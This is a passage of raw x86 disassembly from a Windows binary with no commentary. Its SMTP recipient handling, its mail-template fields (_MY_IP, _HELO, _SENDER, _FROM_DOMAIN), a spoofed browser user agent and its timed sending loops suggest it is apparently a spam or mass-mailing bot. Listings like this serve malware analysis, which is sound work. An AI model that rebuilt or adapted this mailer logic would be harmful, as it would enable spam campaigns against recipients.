call sub_401C1E
push 0
push 1
lea ecx, [ebp-2Ch]
call sub_4013C4
mov ecx, [ebp-0Ch]
mov eax, [ebp+8]
pop esi
mov large fs:0, ecx
leave
retn
sub_407C46 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407C9A proc near ; DATA XREF: .vty:0041EB74o
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = byte ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = byte ptr -64h
var_4C = dword ptr -4Ch
var_48 = byte ptr -48h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
and esp, 0FFFFFFF8h
push 0FFFFFFFFh
push offset SEH_407C9A
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 88h
push ebx
push esi
xor ebx, ebx
mov esi, ecx
push edi
mov [esp+0A0h+var_90], esi
mov [esp+0A0h+var_70], ebx
mov [esp+0A0h+var_6C], ebx
mov [esp+0A0h+var_68], ebx
push 0Fh
pop edi
mov [esp+0A0h+var_4], ebx
push ebx
lea ecx, [esp+0A4h+var_2C]
mov [esp+0A4h+var_14], edi
call sub_401564
push ebx
lea ecx, [esp+0A4h+var_48]
mov [esp+0A4h+var_30], edi
call sub_401564
push ebx
lea ecx, [esp+0A4h+var_64]
mov [esp+0A4h+var_4C], edi
call sub_401564
lea ecx, [esp+0A0h+var_8C]
lea eax, [esi+8]
push ecx
push eax
mov [esp+0A8h+var_88], eax
lea eax, [esp+0A8h+var_74]
mov byte ptr [esp+0A8h+var_4], 3
mov edi, [esi+4]
push eax
call sub_4027E7
test eax, eax
jle loc_407E20
lea eax, [esp+0A0h+var_74]
mov [esp+0A0h+var_7C], eax
jmp short loc_407D3F
; ---------------------------------------------------------------------------
loc_407D3D: ; CODE XREF: sub_407C9A+180j
xor ebx, ebx
loc_407D3F: ; CODE XREF: sub_407C9A+A1j
mov ecx, [esi+4]
lea eax, [esp+0A0h+var_48]
push eax
lea eax, [esp+0A4h+var_64]
push eax
lea eax, [esp+0A8h+var_2C]
push eax
lea eax, [esp+0ACh+var_74]
push eax
call sub_402979
lea eax, [esp+0A0h+var_64]
push eax
lea eax, [esp+0A4h+var_48]
push eax
lea eax, [esp+0A8h+var_2C]
push eax
lea eax, [esp+0ACh+var_74]
push eax
push esi
call sub_407E77
mov esi, [esp+0A0h+var_70]
cmp esi, [esp+0A0h+var_6C]
jbe short loc_407D84
call sub_40DCFC
loc_407D84: ; CODE XREF: sub_407C9A+E3j
lea eax, [esp+0A0h+var_74]
mov [esp+0A0h+var_84], eax
mov [esp+0A0h+var_80], esi
loc_407D90: ; CODE XREF: sub_407C9A+146j
mov esi, [esp+0A0h+var_6C]
cmp [esp+0A0h+var_70], esi
jbe short loc_407D9F
call sub_40DCFC
loc_407D9F: ; CODE XREF: sub_407C9A+FEj
mov [esp+0A0h+var_78], esi
lea edi, [esp+0A0h+var_7C]
lea esi, [esp+0A0h+var_84]
call sub_407BB6
test al, al
jz short loc_407DE2
call sub_409835
mov eax, [eax]
cmp [eax+58h], bl
jz short loc_407DCD
call sub_409835
mov eax, [eax]
mov byte ptr [eax+59h], 3
jmp short loc_407DD7
; ---------------------------------------------------------------------------
loc_407DCD: ; CODE XREF: sub_407C9A+124j
call sub_409835
mov eax, [eax]
mov [eax+59h], bl
loc_407DD7: ; CODE XREF: sub_407C9A+131j
lea esi, [esp+0A0h+var_84]
call sub_407BD3
jmp short loc_407D90
; ---------------------------------------------------------------------------
loc_407DE2: ; CODE XREF: sub_407C9A+118j
lea ebx, [esp+0A0h+var_74]
call sub_407B46
mov eax, [esp+0A0h+var_8C]
imul eax, 3E8h
push eax
call dword_41C090 ; Sleep
lea eax, [esp+0A0h+var_8C]
push eax
push [esp+0A4h+var_88]
mov eax, ebx
push eax
mov eax, [esp+0ACh+var_90]
mov edi, [eax+4]
call sub_4027E7
test eax, eax
mov esi, [esp+0A0h+var_90]
jg loc_407D3D
loc_407E20: ; CODE XREF: sub_407C9A+93j
mov eax, [esp+0A0h+var_88]
mov ebx, [esi+4]
call sub_40290F
xor esi, esi
push esi
push 1
lea ecx, [esp+0A8h+var_64]
call sub_4013C4
push esi
push 1
lea ecx, [esp+0A8h+var_48]
call sub_4013C4
push esi
push 1
lea ecx, [esp+0A8h+var_2C]
call sub_4013C4
cmp [esp+0A0h+var_70], esi
jz short loc_407E62
push [esp+0A0h+var_70]
call sub_40DD8A
pop ecx
loc_407E62: ; CODE XREF: sub_407C9A+1BCj
mov ecx, [esp+0A0h+var_C]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn
sub_407C9A endp
; =============== S U B R O U T I N E =======================================
sub_407E77 proc near ; CODE XREF: sub_407C9A+D6p
mov eax, offset loc_41B1DB
call sub_41AE44
sub esp, 6Ch
or dword ptr [ebp-74h], 0FFFFFFFFh
push ebx
push esi
push edi
lea esi, [ebp-70h]
call sub_4012E2
lea eax, [ebp-38h]
push eax
mov eax, [ebp+8]
xor ebx, ebx
mov [ebp-4], ebx
mov eax, [eax+4]
call sub_4027B2
mov edi, eax
lea eax, [ebp-74h]
mov byte ptr [ebp-4], 1
call sub_40CCCC
push ebx
push 1
lea ecx, [ebp-38h]
mov esi, eax
mov [ebp-4], bl
call sub_4013C4
mov eax, esi
call sub_40D211
test al, al
jnz short loc_407EE4
loc_407ED0: ; CODE XREF: sub_407E77+81j
; sub_407E77+98j ...
push esi
loc_407ED1: ; CODE XREF: sub_407E77+1A4j
mov ebx, [ebp+0Ch]
lea eax, [ebp-70h]
push eax
call sub_408078
loc_407EDD: ; CODE XREF: sub_407E77+1C1j
pop ecx
pop ecx
jmp loc_40805F
; ---------------------------------------------------------------------------
loc_407EE4: ; CODE XREF: sub_407E77+57j
push dword ptr [ebp+14h]
lea ecx, [ebp-74h]
call sub_40CDF4
mov esi, eax
call sub_40D211
test al, al
jz short loc_407ED0
push dword ptr [ebp+18h]
lea eax, [ebp-74h]
push eax
call sub_40CF4A
mov esi, eax
call sub_40D211
test al, al
jz short loc_407ED0
mov esi, [ebp+0Ch]
mov edi, [esi+4]
cmp edi, [esi+8]
mov [ebp+14h], ebx
jbe short loc_407F24
call sub_40DCFC
loc_407F24: ; CODE XREF: sub_407E77+A6j
mov [ebp-14h], esi
mov [ebp-10h], edi
mov [ebp-1Ch], esi
loc_407F2D: ; CODE XREF: sub_407E77+195j
mov edi, [esi+8]
cmp [esi+4], edi
jbe short loc_407F3A
call sub_40DCFC
loc_407F3A: ; CODE XREF: sub_407E77+BCj
mov [ebp-18h], edi
lea edi, [ebp-1Ch]
lea esi, [ebp-14h]
call sub_407BB6
test al, al
jz loc_408020
call sub_409835
push dword ptr [eax]
lea eax, [ebp-54h]
push eax
call sub_407BF3
pop ecx
pop ecx
mov edi, eax
mov esi, [ebp+8]
add esi, 8
mov byte ptr [ebp-4], 2
call sub_406402
push eax
lea eax, [ebp-38h]
push edi
push eax
call sub_407C46
add esp, 0Ch
mov edi, eax
lea esi, [ebp-14h]
mov byte ptr [ebp-4], 3
call sub_409835
mov esi, eax
push edi
lea eax, [ebp-74h]
push eax
call sub_40CFFD
mov ecx, [esi]
push ebx
mov [ecx+54h], eax
push 1
lea ecx, [ebp-38h]
call sub_4013C4
push ebx
push 1
lea ecx, [ebp-54h]
mov [ebp-4], bl
call sub_4013C4
lea esi, [ebp-14h]
call sub_409835
mov eax, [eax]
cmp [eax+54h], ebx
jl short loc_408011
call sub_409835
mov eax, [eax]
mov eax, [eax+54h]
call sub_40D211
test al, al
jz short loc_407FEB
inc dword ptr [ebp+14h]
call sub_409835
mov eax, [eax]
mov byte ptr [eax+58h], 1
jmp short loc_408001
; ---------------------------------------------------------------------------
loc_407FEB: ; CODE XREF: sub_407E77+162j
call sub_409835
push 0FFFFFFFFh
push ebx
lea ecx, [ebp-70h]
push ecx
mov ecx, [eax]
add ecx, 38h
call sub_401315
loc_408001: ; CODE XREF: sub_407E77+172j
lea esi, [ebp-14h]
call sub_407BD3
mov esi, [ebp+0Ch]
jmp loc_407F2D
; ---------------------------------------------------------------------------
loc_408011: ; CODE XREF: sub_407E77+14Fj
call sub_409835
mov eax, [eax]
push dword ptr [eax+54h]
jmp loc_407ED1
; ---------------------------------------------------------------------------
loc_408020: ; CODE XREF: sub_407E77+D3j
cmp [ebp+14h], ebx
jnz short loc_40803D
push offset aNoRecipientsAc ; "No recipients accepted\n"
call sub_4024A7
push eax
push 4
pop ecx
call sub_40195C
jmp loc_407EDD
; ---------------------------------------------------------------------------
loc_40803D: ; CODE XREF: sub_407E77+1ACj
push dword ptr [ebp+10h]
lea ecx, [ebp-74h]
call sub_40D0B0
mov esi, eax
call sub_40D211
test al, al
jz loc_407ED0
lea ecx, [ebp-74h]
call sub_40D183
loc_40805F: ; CODE XREF: sub_407E77+68j
lea eax, [ebp-74h]
call sub_40CCB1
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 14h
sub_407E77 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408078 proc near ; CODE XREF: sub_407949+42p
; sub_407E77+61p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
mov esi, [ebx+4]
cmp esi, [ebx+8]
push edi
jbe short loc_40808D
call sub_40DCFC
loc_40808D: ; CODE XREF: sub_408078+Ej
mov [ebp+var_8], ebx
mov [ebp+var_4], esi
mov [ebp+var_10], ebx
loc_408096: ; CODE XREF: sub_408078+70j
mov esi, [ebx+8]
cmp [ebx+4], esi
jbe short loc_4080A3
call sub_40DCFC
loc_4080A3: ; CODE XREF: sub_408078+24j
mov [ebp+var_C], esi
lea edi, [ebp+var_10]
lea esi, [ebp+var_8]
call sub_407BB6
test al, al
jz short loc_4080EA
call sub_409835
mov ecx, [eax]
push 0FFFFFFFFh
push 0
push [ebp+arg_0]
add ecx, 38h
call sub_401315
call sub_409835
mov eax, [eax]
mov byte ptr [eax+58h], 0
call sub_409835
mov eax, [eax]
mov ecx, [ebp+arg_4]
mov [eax+54h], ecx
call sub_407BD3
jmp short loc_408096
; ---------------------------------------------------------------------------
loc_4080EA: ; CODE XREF: sub_408078+3Bj
pop edi
pop esi
leave
retn
sub_408078 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4080EE proc near ; CODE XREF: sub_408170p
var_190 = byte ptr -190h
push ebp
mov ebp, esp
and esp, 0FFFFFFF8h
sub esp, 190h
lea eax, [esp+190h+var_190]
push eax
push 202h
call dword_41C1F4 ; WSAStartup
test eax, eax
jnz short loc_40816A
push eax
push eax
push eax
push 1
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"...
call dword_41C1D4 ; InternetOpenA
test eax, eax
mov dword_424E80, eax
jnz short loc_408144
call dword_41C0A4 ; RtlGetLastWin32Error
push eax
push offset aInternetopenD ; "InternetOpen: (%d) %$\n"
push 1
call sub_4024A7
push eax
call sub_40196F
add esp, 10h
jmp short loc_40816A
; ---------------------------------------------------------------------------
loc_408144: ; CODE XREF: sub_4080EE+36j
push 0
call sub_40FDF8
pop ecx
push eax
call sub_40FA79
pop ecx
call sub_402E1F
; ---------------------------------------------------------------------------
push dword_424E80
call dword_41C1D0 ; InternetCloseHandle
call dword_41C1F8 ; WSACleanup
loc_40816A: ; CODE XREF: sub_4080EE+1Dj
; sub_4080EE+54j
xor eax, eax
mov esp, ebp
pop ebp
retn
sub_4080EE endp
; =============== S U B R O U T I N E =======================================
sub_408170 proc near ; CODE XREF: sub_4107B2-6Ep
call sub_4080EE
xor eax, eax
retn 10h
sub_408170 endp
; =============== S U B R O U T I N E =======================================
sub_40817A proc near ; DATA XREF: .vty:0041FF6Co
mov dword ptr [ecx], offset off_41C2B4
jmp sub_4018A5
sub_40817A endp
; ---------------------------------------------------------------------------
loc_408185: ; DATA XREF: .vty:off_41C2B4o
push esi
mov esi, ecx
mov dword ptr [esi], offset off_41C2B4
call sub_4018A5
test byte ptr [esp+8], 1
jz short loc_4081A1
push esi
call sub_40DD8A
pop ecx
loc_4081A1: ; CODE XREF: .vty:00408198j
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
push esi
push dword ptr [esp+8]
mov esi, ecx
call sub_401919
mov dword ptr [esi], offset off_41C2B4
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_4081BF proc near ; CODE XREF: sub_4033DA+2FEp
mov eax, offset loc_41B578
call sub_41AE44
sub esp, 0D0h
push ebx
push esi
push edi
xor esi, esi
push esi
lea ecx, [ebp-30h]
mov dword ptr [ebp-18h], 0Fh
call sub_401564
mov [ebp-4], esi
push dword ptr [ebp+0Ch]
lea eax, [ebp-70h]
push eax
call sub_409441
pop ecx
pop ecx
mov ebx, [ebp+8]
mov byte ptr [ebp-4], 1
mov [ebp+0Ch], esi
mov esi, ebx
call sub_406FAF
lea esi, [ebx+10h]
mov [ebp-14h], esi
call sub_406FEC
jmp loc_4083AD
; ---------------------------------------------------------------------------
loc_408216: ; CODE XREF: sub_4081BF+202j
push offset a_ ; "."
lea esi, [ebp-30h]
call sub_406A6D
test al, al
pop ecx
jnz loc_4083C7
cmp dword ptr [ebp-1Ch], 0
jz loc_4083AD
xor edi, edi
mov eax, esi
call sub_4012F5
cmp byte ptr [eax], 24h
jnz loc_4083AD
push edi
lea ecx, [ebp-54h]
mov dword ptr [ebp-3Ch], 0Fh
call sub_401564
inc edi
mov byte ptr [ebp-4], 2
cmp [ebp-1Ch], edi
jbe short loc_4082C7
loc_408262: ; CODE XREF: sub_4081BF+E8j
lea eax, [ebp-30h]
call sub_4012F5
movsx eax, byte ptr [eax]
push eax
call sub_410004
test eax, eax
pop ecx
jnz short loc_408285
lea eax, [ebp-30h]
call sub_4012F5
cmp byte ptr [eax], 5Fh
jnz short loc_4082C2
loc_408285: ; CODE XREF: sub_4081BF+B7j
lea eax, [ebp-30h]
call sub_4012F5
mov al, [eax]
mov [ebp-34h], al
push dword ptr [ebp-34h]
xor ebx, ebx
inc ebx
lea esi, [ebp-54h]
call sub_40140F
mov ebx, [ebp+8]
inc edi
cmp edi, [ebp-1Ch]
jb short loc_408262
jmp short loc_4082C2
; ---------------------------------------------------------------------------
loc_4082AB: ; CODE XREF: sub_4081BF+106j
lea eax, [ebp-30h]
call sub_4012F5
movsx eax, byte ptr [eax]
push eax
call sub_40FF87
test eax, eax
pop ecx
jz short loc_4082C7
inc edi
loc_4082C2: ; CODE XREF: sub_4081BF+C4j
; sub_4081BF+EAj
cmp edi, [ebp-1Ch]
jb short loc_4082AB
loc_4082C7: ; CODE XREF: sub_4081BF+A1j
; sub_4081BF+100j
lea eax, [ebp-30h]
call sub_4012F5
cmp byte ptr [eax], 3Dh
jnz loc_40839D
push 0FFFFFFFFh
inc edi
push edi
lea eax, [ebp-30h]
push eax
lea esi, [ebp-94h]
call sub_405527
mov esi, eax
lea eax, [ebp-54h]
push eax
lea ecx, [ebp-0DCh]
mov byte ptr [ebp-4], 3
call sub_401C1E
push esi
lea ecx, [ebp-0C0h]
mov byte ptr [ebp-4], 4
call sub_401C1E
mov byte ptr [ebp-4], 5
mov esi, [ebx+4]
test esi, esi
jnz short loc_40831F
xor edi, edi
jmp short loc_40832C
; ---------------------------------------------------------------------------
loc_40831F: ; CODE XREF: sub_4081BF+15Aj
mov eax, [ebx+0Ch]
sub eax, esi
push 38h
cdq
pop ecx
idiv ecx
mov edi, eax
loc_40832C: ; CODE XREF: sub_4081BF+15Ej
mov eax, ebx
call sub_40690A
cmp eax, edi
jnb short loc_40834D
lea eax, [ebp-0DCh]
push eax
push 1
push dword ptr [ebx+8]
call sub_40993D
mov [ebx+8], eax
jmp short loc_40836D
; ---------------------------------------------------------------------------
loc_40834D: ; CODE XREF: sub_4081BF+176j
mov edi, [ebx+8]
cmp esi, edi
jbe short loc_408359
call sub_40DCFC
loc_408359: ; CODE XREF: sub_4081BF+193j
push edi
push ebx
lea eax, [ebp-0DCh]
push eax
lea eax, [ebp-78h]
push eax
mov eax, ebx
call sub_4098BA
loc_40836D: ; CODE XREF: sub_4081BF+18Cj
xor esi, esi
xor edi, edi
push esi
inc edi
push edi
lea ecx, [ebp-0C0h]
call sub_4013C4
push esi
push edi
lea ecx, [ebp-0DCh]
call sub_4013C4
push esi
push edi
lea ecx, [ebp-94h]
call sub_4013C4
push esi
push edi
jmp short loc_4083A1
; ---------------------------------------------------------------------------
loc_40839D: ; CODE XREF: sub_4081BF+113j
push 0
push 1
loc_4083A1: ; CODE XREF: sub_4081BF+1DCj
lea ecx, [ebp-54h]
mov byte ptr [ebp-4], 1
call sub_4013C4
loc_4083AD: ; CODE XREF: sub_4081BF+52j
; sub_4081BF+71j ...
lea eax, [ebp-70h]
push eax
lea eax, [ebp-30h]
push eax
lea edi, [ebp+0Ch]
call sub_4093C0
test al, al
pop ecx
pop ecx
jnz loc_408216
loc_4083C7: ; CODE XREF: sub_4081BF+67j
mov esi, [ebp+0Ch]
cmp esi, 0FFFFFFFFh
jz loc_408550
push esi
push offset a__0 ; "\r\n.\r\n"
lea eax, [ebp-70h]
push eax
call sub_401C81
mov edi, eax
sub eax, esi
push eax
push esi
lea eax, [ebp-70h]
push eax
lea esi, [ebp-94h]
call sub_405527
push 0FFFFFFFFh
push 0
push eax
lea ecx, [ebx+20h]
mov byte ptr [ebp-4], 6
call sub_401315
push 0
push 1
mov ecx, esi
mov byte ptr [ebp-4], 1
call sub_4013C4
cmp edi, 0FFFFFFFFh
mov [ebp+0Ch], edi
jz loc_408550
add edi, 5
mov [ebp+0Ch], edi
jmp loc_408550
; ---------------------------------------------------------------------------
loc_40842E: ; CODE XREF: sub_4081BF+3A5j
xor eax, eax
mov [ebp-44h], eax
mov [ebp-40h], eax
mov [ebp-3Ch], eax
lea eax, [ebp-30h]
push eax
lea ecx, [ebp-0A4h]
mov byte ptr [ebp-4], 7
call sub_401C1E
lea eax, [ebp-88h]
push eax
lea ecx, [ebp-48h]
mov byte ptr [ebp-4], 8
call sub_4075BC
mov esi, [ebp-14h]
mov byte ptr [ebp-4], 9
mov ebx, [esi+4]
test ebx, ebx
jnz short loc_408471
xor edi, edi
jmp short loc_40847E
; ---------------------------------------------------------------------------
loc_408471: ; CODE XREF: sub_4081BF+2ACj
mov eax, [esi+0Ch]
sub eax, ebx
push 2Ch
cdq
pop ecx
idiv ecx
mov edi, eax
loc_40847E: ; CODE XREF: sub_4081BF+2B0j
mov eax, esi
call sub_406949
cmp eax, edi
jnb short loc_40849F
lea eax, [ebp-0A4h]
push eax
push 1
push dword ptr [esi+8]
call sub_4099EC
mov [esi+8], eax
jmp short loc_4084BC
; ---------------------------------------------------------------------------
loc_40849F: ; CODE XREF: sub_4081BF+2C8j
mov edi, [esi+8]
cmp ebx, edi
jbe short loc_4084AB
call sub_40DCFC
loc_4084AB: ; CODE XREF: sub_4081BF+2E5j
push edi
push esi
lea eax, [ebp-0A4h]
push eax
lea ebx, [ebp-78h]
call sub_40996D
loc_4084BC: ; CODE XREF: sub_4081BF+2DEj
lea esi, [ebp-88h]
call sub_405AAC
push 0
push 1
lea ecx, [ebp-0A4h]
call sub_4013C4
lea esi, [ebp-48h]
mov byte ptr [ebp-4], 1
call sub_405AAC
jmp short loc_40853A
; ---------------------------------------------------------------------------
loc_4084E4: ; CODE XREF: sub_4081BF+38Fj
push offset a_ ; "."
lea esi, [ebp-30h]
call sub_406A6D
test al, al
pop ecx
jnz short loc_408550
mov edi, [ebp-14h]
mov esi, [edi+8]
cmp [edi+4], esi
jbe short loc_408506
call sub_40DCFC
loc_408506: ; CODE XREF: sub_4081BF+340j
mov [ebp-38h], edi
push 0FFFFFFFFh
lea edi, [ebp-38h]
mov [ebp-34h], esi
call sub_40AFC3
mov esi, [eax]
test esi, esi
mov edi, [eax+4]
jnz short loc_408524
call sub_40DCFC
loc_408524: ; CODE XREF: sub_4081BF+35Ej
cmp edi, [esi+8]
jb short loc_40852E
call sub_40DCFC
loc_40852E: ; CODE XREF: sub_4081BF+368j
lea eax, [ebp-30h]
push eax
lea eax, [edi+1Ch]
call sub_409560
loc_40853A: ; CODE XREF: sub_4081BF+323j
lea eax, [ebp-70h]
push eax
lea eax, [ebp-30h]
push eax
lea edi, [ebp+0Ch]
call sub_4093C0
test al, al
pop ecx
pop ecx
jnz short loc_4084E4
loc_408550: ; CODE XREF: sub_4081BF+20Ej
; sub_4081BF+25Ej ...
lea eax, [ebp-70h]
push eax
lea eax, [ebp-30h]
push eax
lea edi, [ebp+0Ch]
call sub_4093C0
test al, al
pop ecx
pop ecx
jnz loc_40842E
push 0
push 1
lea ecx, [ebp-70h]
call sub_4013C4
push 0
push 1
lea ecx, [ebp-30h]
call sub_4013C4
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 8
sub_4081BF endp
; =============== S U B R O U T I N E =======================================
sub_408593 proc near ; CODE XREF: sub_402979+DDp
mov eax, offset loc_41B3CD
call sub_41AE44
sub esp, 0A8h
push ebx
push esi
push edi
call sub_40AC61
mov [ebp-24h], eax
mov byte ptr [eax+45h], 1
mov eax, [ebp-24h]
mov [eax+4], eax
mov eax, [ebp-24h]
mov [eax], eax
mov eax, [ebp-24h]
xor ebx, ebx
mov [eax+8], eax
mov [ebp-20h], ebx
mov [ebp-4], ebx
call sub_40AF99
mov [ebp-30h], eax
mov byte ptr [eax+39h], 1
mov eax, [ebp-30h]
mov [eax+4], eax
mov eax, [ebp-30h]
mov [eax], eax
mov eax, [ebp-30h]
mov [eax+8], eax
mov [ebp-2Ch], ebx
push offset a_date ; "_DATE"
lea ecx, [ebp-50h]
mov byte ptr [ebp-4], 1
call sub_401C44
lea eax, [ebp-50h]
push eax
lea eax, [ebp-28h]
push eax
mov byte ptr [ebp-4], 2
call sub_4095C0
push eax
call sub_409358
xor esi, esi
push ebx
inc esi
push esi
lea ecx, [ebp-50h]
mov byte ptr [ebp-4], 1
call sub_4013C4
push offset a_my_ip ; "_MY_IP"
lea ecx, [ebp-50h]
call sub_401C44
lea eax, [ebp-50h]
push eax
lea eax, [ebp-28h]
push eax
mov byte ptr [ebp-4], 3
call sub_4095C0
mov edi, [ebp+8]
push 0FFFFFFFFh
push ebx
lea ecx, [edi+3Ch]
push ecx
mov ecx, eax
call sub_401315
push ebx
push esi
lea ecx, [ebp-50h]
mov byte ptr [ebp-4], 1
call sub_4013C4
push offset a_my_hostname ; "_MY_HOSTNAME"
lea ecx, [ebp-50h]
call sub_401C44
lea eax, [ebp-50h]
push eax
lea eax, [ebp-28h]
push eax
mov byte ptr [ebp-4], 4
call sub_4095C0
push 0FFFFFFFFh
push ebx
lea ecx, [edi+58h]
push ecx
mov ecx, eax
call sub_401315
push ebx
push esi
lea ecx, [ebp-50h]
mov byte ptr [ebp-4], 1
call sub_4013C4
push offset a_from_domain ; "_FROM_DOMAIN"
lea ecx, [ebp-50h]
call sub_401C44
lea eax, [ebp-50h]
push eax
lea eax, [ebp-28h]
push eax
mov byte ptr [ebp-4], 5
call sub_4095C0
push 0FFFFFFFFh
push ebx
push dword ptr [ebp+10h]
mov ecx, eax
call sub_401315
push ebx
push esi
lea ecx, [ebp-50h]
mov byte ptr [ebp-4], 1
call sub_4013C4
lea esi, [edi+10h]
mov eax, [esi+4]
cmp eax, [esi+8]
mov [ebp+10h], esi
mov [ebp-1Ch], eax
jbe short loc_4086ED
call sub_40DCFC
mov eax, [ebp-1Ch]
loc_4086ED: ; CODE XREF: sub_408593+150j
mov [ebp-18h], esi
mov [ebp-14h], eax
loc_4086F3: ; CODE XREF: sub_408593+2D2j
mov eax, [esi+8]
cmp [esi+4], eax
mov [ebp-1Ch], eax
jbe short loc_408703
call sub_40DCFC
loc_408703: ; CODE XREF: sub_408593+169j
cmp esi, esi
jz short loc_40870C
call sub_40DCFC
loc_40870C: ; CODE XREF: sub_408593+172j
mov eax, [ebp-1Ch]
cmp [ebp-14h], eax
jz loc_40886A
mov [ebp-40h], ebx
mov [ebp-3Ch], ebx
mov [ebp-38h], ebx
lea esi, [ebp-18h]
mov byte ptr [ebp-4], 6
call sub_409835
push eax
lea ecx, [ebp-0A8h]
call sub_401C1E
lea eax, [ebp-8Ch]
push eax
lea ecx, [ebp-44h]
mov byte ptr [ebp-4], 7
call sub_4075BC
lea eax, [ebp-0A8h]
push eax
lea edi, [ebp-0B4h]
lea ebx, [ebp-34h]
mov byte ptr [ebp-4], 8
call sub_409720
mov ecx, [eax]
mov ebx, [eax+4]
lea esi, [ebp-8Ch]
mov [ebp-60h], ecx
call sub_405AAC
push 0
push 1
lea ecx, [ebp-0A8h]
call sub_4013C4
lea esi, [ebp-44h]
mov byte ptr [ebp-4], 1
call sub_405AAC
lea esi, [ebp-18h]
call sub_409835
mov edi, eax
mov esi, [edi+20h]
add edi, 1Ch
cmp esi, [edi+8]
jbe short loc_4087AD
call sub_40DCFC
loc_4087AD: ; CODE XREF: sub_408593+213j
; sub_408593+2B1j
mov [ebp-54h], esi
lea esi, [ebp-18h]
call sub_409835
mov esi, eax
mov eax, [esi+24h]
add esi, 1Ch
cmp [esi+4], eax
mov [ebp-1Ch], eax
jbe short loc_4087CD
call sub_40DCFC
loc_4087CD: ; CODE XREF: sub_408593+233j
cmp edi, esi
jz short loc_4087D6
call sub_40DCFC
loc_4087D6: ; CODE XREF: sub_408593+23Cj
mov esi, [ebp-54h]
cmp esi, [ebp-1Ch]
jz short loc_408849
cmp esi, [edi+8]
jb short loc_4087E8
call sub_40DCFC
loc_4087E8: ; CODE XREF: sub_408593+24Ej
push esi
push dword ptr [ebp+0Ch]
lea eax, [ebp-34h]
push eax
lea eax, [ebp-28h]
push eax
lea eax, [ebp-7Ch]
push eax
call sub_4089E6
mov [ebp-1Ch], eax
mov byte ptr [ebp-4], 9
cmp dword ptr [ebp-60h], 0
jnz short loc_40880F
call sub_40DCFC
loc_40880F: ; CODE XREF: sub_408593+275j
mov eax, [ebp-60h]
cmp ebx, [eax+4]
jnz short loc_40881C
call sub_40DCFC
loc_40881C: ; CODE XREF: sub_408593+282j
push dword ptr [ebp-1Ch]
lea eax, [ebx+28h]
call sub_409560
push 0
push 1
lea ecx, [ebp-7Ch]
mov byte ptr [ebp-4], 1
call sub_4013C4
cmp esi, [edi+8]
jb short loc_408841
call sub_40DCFC
loc_408841: ; CODE XREF: sub_408593+2A7j
add esi, 1Ch
jmp loc_4087AD
; ---------------------------------------------------------------------------
loc_408849: ; CODE XREF: sub_408593+249j
mov eax, [ebp+10h]
mov ecx, [ebp-14h]
cmp ecx, [eax+8]
jb short loc_408859
call sub_40DCFC
loc_408859: ; CODE XREF: sub_408593+2BFj
add dword ptr [ebp-14h], 2Ch
mov esi, [ebp+10h]
mov edi, [ebp+8]
xor ebx, ebx
jmp loc_4086F3
; ---------------------------------------------------------------------------
loc_40886A: ; CODE XREF: sub_408593+17Fj
mov esi, [edi+4]
cmp esi, [edi+8]
jbe short loc_408877
call sub_40DCFC
loc_408877: ; CODE XREF: sub_408593+2DDj
mov [ebp-18h], edi
mov [ebp-14h], esi
loc_40887D: ; CODE XREF: sub_408593+35Fj
mov esi, [edi+8]
cmp [edi+4], esi
jbe short loc_40888A
call sub_40DCFC
loc_40888A: ; CODE XREF: sub_408593+2F0j
cmp [ebp-14h], esi
jz short loc_4088F4
lea esi, [ebp-18h]
call sub_409835
add eax, 1Ch
push eax
push dword ptr [ebp+0Ch]
lea eax, [ebp-34h]
push eax
lea eax, [ebp-28h]
push eax
lea eax, [ebp-7Ch]
push eax
call sub_4089E6
mov [ebp+8], eax
mov byte ptr [ebp-4], 0Ah
call sub_409835
push eax
lea eax, [ebp-28h]
push eax
call sub_4095C0
push 0FFFFFFFFh
push ebx
push dword ptr [ebp+8]
mov ecx, eax
call sub_401315
push ebx
push 1
lea ecx, [ebp-7Ch]
mov byte ptr [ebp-4], 1
call sub_4013C4
mov eax, [ebp-14h]
cmp eax, [edi+8]
jb short loc_4088EE
call sub_40DCFC
loc_4088EE: ; CODE XREF: sub_408593+354j
add dword ptr [ebp-14h], 38h
jmp short loc_40887D
; ---------------------------------------------------------------------------
loc_4088F4: ; CODE XREF: sub_408593+2FAj
push offset a_sender ; "_SENDER"
lea ecx, [ebp-50h]
call sub_401C44
lea eax, [ebp-50h]
push eax
lea eax, [ebp-28h]
push eax
mov byte ptr [ebp-4], 0Bh
call sub_4095C0
mov ecx, [ebp+18h]
or esi, 0FFFFFFFFh
push esi
push ebx
push eax
call sub_401315
push ebx
push 1
lea ecx, [ebp-50h]
mov byte ptr [ebp-4], 1
call sub_4013C4
push offset a_helo ; "_HELO"
lea ecx, [ebp-50h]
call sub_401C44
lea eax, [ebp-50h]
push eax
lea eax, [ebp-28h]
push eax
mov byte ptr [ebp-4], 0Ch
call sub_4095C0
mov ecx, [ebp+1Ch]
push esi
push ebx
push eax
call sub_401315
push ebx
push 1
lea ecx, [ebp-50h]
mov byte ptr [ebp-4], 1
call sub_4013C4
add edi, 20h
push edi
push dword ptr [ebp+0Ch]
lea eax, [ebp-34h]
push eax
lea eax, [ebp-28h]
push eax
lea eax, [ebp-7Ch]
push eax
call sub_4089E6
mov ecx, [ebp+14h]
push esi
push ebx
push eax
mov byte ptr [ebp-4], 0Dh
call sub_401315
